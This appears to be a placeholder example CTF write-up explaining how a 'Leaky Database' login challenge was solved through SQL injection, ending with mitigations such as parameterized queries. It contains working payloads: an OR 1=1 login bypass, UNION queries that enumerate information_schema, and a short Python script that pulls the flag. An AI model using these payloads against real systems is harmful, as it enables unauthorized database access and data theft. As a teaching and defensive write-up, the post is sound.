← Back to Blog

Breaking the Web Challenge: SQL Injection Deep Dive

DISCLAIMER — EXAMPLE POST

This is a placeholder example to show contributors how the blog looks. It was not written by an RTA member and does not represent our organization.

This writeup covers the "Leaky Database" web challenge from our BSides Seattle 2026 CTF. The challenge presented a login form backed by a vulnerable PHP application and required chaining several SQL injection techniques to extract the flag.

Recon

The challenge page was a simple login form at http://challenge.ctf.local:8080/login. Viewing the source revealed nothing unusual — just a standard HTML form posting to /api/auth.

Running a quick directory scan:

gobuster dir -u http://challenge.ctf.local:8080 -w /usr/share/wordlists/common.txt

Turned up an interesting endpoint: /api/debug which returned a partial stack trace mentioning MySQL 8.0 and a table called users.

Finding the Injection Point

The login form accepted username and password fields. Testing with a single quote in the username field:

username: admin'
password: anything

Returned a 500 Internal Server Error — a strong indicator of SQL injection. A classic OR bypass confirmed it:

' OR 1=1 -- -

This logged us in as the first user in the table, but the flag wasn't on the dashboard.

Extracting the Flag

The flag was stored in a separate table. We used a UNION-based injection to enumerate tables:

' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database() -- -

This revealed three tables:

Table Name
users
sessions
secret_flags

Then extracting columns from secret_flags:

' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='secret_flags' -- -

Columns: id, flag_value, challenge_name.

Finally, pulling the flag:

import requests

url = "http://challenge.ctf.local:8080/api/auth"
payload = {
    "username": "' UNION SELECT flag_value, NULL FROM secret_flags WHERE challenge_name='leaky_db' -- -",
    "password": "x"
}
r = requests.post(url, data=payload)
print(r.text)

Output:

Welcome, RTA{sql_1nj3ct10n_1s_st1ll_d4ng3r0us}!

Mitigation

The fix is straightforward — use parameterized queries:

# Vulnerable
cursor.execute(f"SELECT * FROM users WHERE username='{user}' AND password='{pwd}'")

# Fixed
cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (user, pwd))

Additional hardening:

  • Least privilege: The database user for the web app should only have SELECT on the users table
  • WAF rules: Block common SQLi patterns as defense-in-depth
  • Error handling: Never expose stack traces or database errors to users

Key Takeaways

  1. Always test input fields for injection — even in 2026, SQLi is alive and well
  2. UNION-based injection is powerful when you can see output reflected in the response
  3. The information_schema database is your best friend for enumeration
  4. Parameterized queries are the only reliable fix — escaping and WAFs can be bypassed